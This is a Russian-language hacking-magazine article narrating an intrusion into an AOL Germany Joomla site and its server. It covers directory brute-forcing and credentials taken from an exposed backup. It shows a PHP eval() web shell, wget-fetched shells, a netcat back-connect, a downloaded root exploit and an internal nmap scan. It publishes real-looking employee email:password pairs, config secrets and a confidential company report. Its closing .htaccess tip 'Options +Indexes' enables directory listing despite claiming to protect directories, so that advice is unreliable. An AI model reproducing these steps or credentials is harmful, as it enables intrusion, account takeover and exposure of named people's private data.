• Партнер

  • Корпорация AOL всегда являлась лакомым кусочком для хакеров всех возможных
    мастей. Смотри сам: миллионы зарегистрированных пользователей в AIM, AOL Mail и
    ICQ, сотни офисов во всех уголках мира, миллиардный рынок рекламы и другие
    ништяки, посмотреть на которые ты сможешь прямо с главной страницы aol.com
    (Топ-50 по посещаемости среди сайтов во всем интернете).

    Глядя на все это великолепие, ты не удивишься, что в один прекрасный день я
    натравил свой XSpider 7.7 на одну из сетей AOL, находящуюся в диапазоне
    64.12.0.0 - 64.12.255.255. Вот что из этого вышло...

     

    Жертва detected

    Из всего обилия айпишников корпорации, проживавших в указанном диапазоне,
    первым делом меня привлек хост alex-aolde-mtc02.evip.aol.com, при ближайшем
    рассмотрении оказавшийся неким сайтом http://alex.aol.de с окнами ввода логина и
    пароля на главной странице. При первом же взгляде на ресурс стало ясно, что он
    работает на CMS Joomla ветки 1.5.x.

    Как известно, одним из лучших на сегодняшний день решений для поиска
    уязвимостей в Джумле является входящий в проект OWASP "Joomla! Security/Vulnerability
    Scanner" от ребят из YGN Ethical Hacker Group. Итак, скачав сканер, я запустил
    его следующим образом:

    C:/Perl/bin/perl5.12.1.exe C:/joomscan/joomscan.pl -u
    http://alex.aol.de

    Через несколько минут я получил примерно следующий результат:

    * Deduced version range is : [1.5.12 - 1.5.14]
    ...
    # 14
    Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability
    Versions effected: 1.0.13 <=
    Check: /administrator/
    Exploit: It requires an administrator to be logged in and to be tricked into a
    specially crafted webpage.
    Vulnerable? Yes
    ...
    # 19
    Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities
    Versions effected: Joomla! 1.5.12
    Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
    Exploit: While Joomla! team announced only File Upload vulnerability, in fact
    there are many. See: http://www.milw0rm.com/exploits/9296
    Vulnerable? Yes

    Ни одна из найденных "уязвимостей" ни на йоту не помогла мне приблизиться к
    заветной цели взлома.

     

    Помощь от OWASP

    Осознав, что через Джумлу мне вряд ли удастся проникнуть на нужный сервер, я
    решил просканировать скрытые от посторонних глаз директории и файлы ресурса с
    помощью еще одного проекта OWASP – брутфорсера директорий DirBooster.

    Запустив программу, я вписал следующие настройки:

    Target URL: http://alex.aol.de/;
    Work Method: Auto Switch (HEAD and GET);
    Number Of Threads: 200;
    Select starting options: Standard start point, Brute Force Dirs, Brute Force
    Files;
    File extension: php.

    Далее я попробовал по очереди брутфорс со всеми словарями, входящими в
    комплект поставки проги.

    Из всех полученных результатов больше всего меня обрадовали следующие: ./info.php
    (phpinfo), ./pma (phpMyAdmin) и директория ./dnld, содержащая в себе три файла (configuration.php,
    phpMyAdmin-3.3.2-english.tar, wirwarendrin.tar).

    Название 80-метрового архива wirwarendrin.tar меня обрадовало, так как на
    главной странице alex.aol.de находилась ссылка на wirwarendrin.de, своего рода
    зеркало аоловского ресурса.

    Скачав указанный архив, я понял, что в нем находится полный бэкап нашего
    сайта :).

     

    Храните бэкапы в сберегательной кассе!

    В архиве с бэкапом меня более всего заинтересовал файл конфига Джумлы
    configuration.php, в котором хранились следующие интересные вещи:

    <?php
    class JConfig {
    ...
    var $secret = 'NAAgXewXco6BSw2d';
    ...
    var $host = 'localhost';
    var $user = 'alex';
    var $db = 'test';
    ...
    var $smtpport = '465';
    var $smtpuser = 'wirwarendrin';
    var $smtppass = 'Briesben';
    var $smtphost = 'smtp.aol.com';
    ...
    var $password = 'wjedko,lg';
    ...
    }
    ?>

    Первым делом я залез в почтовый ящик wirwarendrin@aol.com, в который, как
    оказалось, падали регистрационные данные юзеров alex.aol.de. Далее логичным
    показалось попробовать использовать логин и пароль от мускула в phpMyAdmin, чем
    я незамедлительно и занялся :).

    Пароль для юзера alex, конечно же, подошел, так что для дальнейшей заливки
    шелла оставалось два варианта: добавить нового админа в Джумлу или сбрутить
    пароль существующего админа. Я выбрал второй вариант.

     

    Брутфорс - быстро и легко!

    Моей любимой программой для брутфорса различных хешей является PasswordsPro,
    которая, в том числе, поддерживает и формат шифрования паролей Joomla! -
    md5($pass.$salt).

    Итак, скачав несколько самых больших словарей и зарядив их в PasswordsPro на
    предмет брута соленого админского хеша
    d86f4c81342b79c4bab8868656cabe46:t65HKT9iuoOUdvfIAD0JP0ynT6EpRHXb, я стал
    терпеливо ждать.

    После нескольких часов брутфорса прога выдала мне пароль для данного хеша –
    qwertyzuaor, с которым я успешно и залогинился в alex.aol.de, а также в
    alex.aol.de/administrator.

    Кстати, как оказалось, ресурс alex.aol.de создавался одним из работников AOL
    для координации проведения вечеринки среди сотрудников германского отделения
    корпорации, на нем зарегистрировались и входили в курс дела около 450 бывших и
    настоящих сотрудников AOL, так что далее я незамедлительно принялся заливать
    шелл с помощью правки шаблонов Джумлы 🙂

     

    AOL Inside

    Шаблон для правки находился в админке по следующему пути: "Extensions –>
    Template Manager –> aol-exit –> Edit HTML", сам же файл шаблона лежал в /data/servers/wahl-o-mat_aol_de/pages/alex_aol_de/templates/aol-exit/index.php.
    В верхушку указанного файла я вставил небольшую кавайную конструкцию:

    <?php
    eval(stripslashes($_REQUEST[aaa]));
    ?>

    Далее к этому делу оставалось набросать небольшой HTML-клиент:

    <form action="http://alex.aol.de/templates/aol-exit/index.php" method="POST">
    <input type="text" name="aaa"/>
    <input type="submit" value="Pwn It!"/>
    </form>

    Первым делом с помощью утилиты wget я залил на сервер WSO-шелл в ту же
    директорию templates под именем 404.php и смог с удобством просматривать все
    файлы и директории (кстати, еще один косяк админа заключался в том, что
    абсолютно все файлы и директории были открыты на запись).

     

    Еще глубже!

    В директории /data/servers сразу же можно было посмотреть на сайты-соседи
    нашего alex.aol.de: editor.aol.fr, gat.aol.co.uk, sns.nexus.aol.com,
    wahl-o-mat.aol.de, matrix.aol.de. Сильно разбираться с их строением и значением
    я не стал, а попросту слил все исходники на винт своего дедика, предварительно
    запаковав весь стафф с помощью следующей команды:

    cd /data/servers;tar czvf /tmp/1.tgz ./*

    Следующей целью, которую я себе поставил, было получение рута на данном
    сервере, благо, старое и унылое ядро это позволяло:

    Linux wahl-o-mat.aol.de 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT
    2007 i686

    Для начала мне был необходим интерактивный шелл, получить который мне помог
    банальный перловый Back-connect к 31337 порту моего дедика в WSO (раздел Network)
    и ставший притчей во языцех NetCat:

    c:/netcat/nc.exe -l -p 31337

    Получив искомое, я принялся за поиски нужного рутового сплоита на
    http://www.exploit-db.com.
    Таковым оказался, опять же, немецкий "wunderbar
    emporium
    ". Далее, после выполнения нехитрой последовательности команд, я и
    получил заветное "uid=0(root) gid=0(root) groups=11560(httpd)":

    wget http://www.grsecurity.net/~spender/wunderbar_emporium.tgz;tar xzfv
    wunderbar_emporium.tgz;chmod 0777 ./*;./wunderbar_emporium.sh

     

    Интересное

    После получения привилегий рута мне почему-то захотелось просканить
    внутреннюю сетку. Для этого я выполнил команду ifconfig и узнал, что в сети наш
    сервак скрывается под адресом 10.62.134.80. Так что дальше с помощью rpm я
    скачал и установил nmap:

    rpm -vhU http://nmap.org/dist/nmap-5.21-1.i386.rpm

    и запустил его следующим образом:

    nmap -v -n -sS 10.62.134.0/24

    Сейчас я не буду рассказывать о своих дальнейших действиях с сеткой немецкого
    AOL, а покажу лишь парочку самых интересных отчетов сканера:

    Nmap scan report for 10.62.134.89
    Host is up (0.00013s latency).
    Not shown: 986 closed ports
    PORT STATE SERVICE
    22/tcp open ssh
    80/tcp open http
    135/tcp open msrpc
    445/tcp open microsoft-ds
    1024/tcp open kdm
    1041/tcp open unknown
    1051/tcp open optima-vnet
    1311/tcp open rxmon
    1801/tcp open unknown
    2099/tcp open unknown
    2103/tcp open zephyr-clt
    2105/tcp open eklogin
    2107/tcp open unknown
    3389/tcp open ms-term-serv
    MAC Address: 00:18:8B:74:52:6E (Dell)
    ...

    Nmap scan report for 10.62.134.96
    Host is up (0.00013s latency).
    Not shown: 971 closed ports
    PORT STATE SERVICE
    22/tcp open ssh
    88/tcp open kerberos-sec
    135/tcp open msrpc
    139/tcp open netbios-ssn
    389/tcp open ldap
    445/tcp open microsoft-ds
    464/tcp open kpasswd5
    593/tcp open http-rpc-epmap
    636/tcp open ldapssl
    1024/tcp open kdm
    1025/tcp open NFS-or-IIS
    1027/tcp open IIS
    1078/tcp open unknown
    1112/tcp open msql
    1311/tcp open rxmon
    1801/tcp open unknown
    2099/tcp open unknown
    2103/tcp open zephyr-clt
    2105/tcp open eklogin
    2107/tcp open unknown
    3268/tcp open globalcatLDAP
    3269/tcp open globalcatLDAPssl
    3389/tcp open ms-term-serv
    9998/tcp open unknown
    13722/tcp open netbackup
    13782/tcp open netbackup
    13783/tcp open netbackup
    49152/tcp open unknown
    49153/tcp open unknown
    MAC Address: 00:13:72:5A:3E:78 (Dell)

    Как видишь, в AOL очень любят продукцию мелкомягкой компании :).

     

    AOL Confidential

    Закончим на сегодня с многострадальной внутренней сеткой AOL и продолжим с
    вытащенными мной из базы данных Джумлы логинами и хешами работников корпорации.
    Как я уже писал выше, PasswordsPro помог мне расшифровать хеш пароля админа
    alex.aol.de. Но одним админом я не ограничился, а зарядил на брут и остальные
    450 аккаунтов, из которых успешно сбрутились 197. Далее я стал потихоньку
    проверять полученные пароли на предмет их подходимости к почте аоловцев. Вот
    некоторые интересные работоспособные аккаунты:

    guenterstaar guenterstaar@aol.com:keiness
    thomaskuck thomaskuck@aol.com:sascha
    mdfreedom99 marcdrewello@aol.com:Magic23
    ClaudiaLangwald ClaudiaLangwald@aol.com:Silvera
    bettyvonloesch bettyvonloesch@aol.com:hanne
    Pierre PierreBeneHH@aol.com:wombast
    Tenge Tenge@aol.com:derwis
    JennySefkow JennySefkow@aol.com:varita
    NinaRixenHH@aol.com NinaRixenHH@aol.com:brauere
    Jennifer2706 jennifermatheja@aol.com:elite15
    A.V.aus H. voigthh@googlemail.com:Delphines
    fkorupp frederickorupp@googlemail.com:wasistdas
    KrassowskiSabine@aol.de KrassowskiSabine@aol.de:Sommer44
    neddie annettharksenhh@aol.de:hochzeis
    Trixi seebertrixi@aol.de:sommer07
    tringasvassiliki tringasvassiliki@aol.de:perikle
    AgnesAB agnesboltzenhh@aol.de:April2008

    Как видишь, пароли просто поражают своей простотой :).

    В указанных почтовых ящиках находилось очень много забавных документов:
    внутренние аоловские расписки, резюме работников, фотографии офисов, адреса,
    телефоны, пароли к ebay и paypal (!), статистика и многое другое.

    Вот лишь часть одного из внутренних документов с пометкой "Company
    Confidential".

    AOL Germany SNAPSHOT SUMMARY as of COB
    Date : [2006-02-11]
    Business :
    AOL
    GERMANY (AOL)
    FOR [2006-02-11]
    -Ending Members 2,687,173
    -Registrations 1,824
    -Reactivations 146
    -Overhead Conversions 1
    -Cancellations 1,472
    -Terminations 549
    -Net Change -50
    -Customer Hours 7,301,418
    -Total Hours 7,322,081

    Как видно, в этой статистике содержится полная инфа по внутреннему
    юзерообороту немецкого отделения корпорации за 2006-02-11 :).

     

    Напоследок

    На твоих глазах развилась очередная история взлома одного из сайтов крупной
    компании, который произошел из-за банальной безалаберности и невнимательности
    админа. Здесь я могу отметить несколько основополагающих факторов: хранение
    бэкапа в общедоступном месте, доступность phpMyAdmin'а для внешних
    пользователей, старое ядро, открытость файлов и директорий на запись и
    предсказуемые пароли. Надеюсь, после прочтения сего опуса ты никогда не
    повторишь глупейших ошибок работников AOL :).

     

    INFO:

    Чтобы защитить внутренние директории твоего сайта от любопытных глаз, советую
    в чувствительные директории кинуть .htaccess с одной единственной строчкой:

    Options +Indexes

    А чтобы защитить вообще все файлы такой директории от доступа извне, пропиши
    еще и вот это:

    Order Deny, Allow
    Deny from all

     

    WWW

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии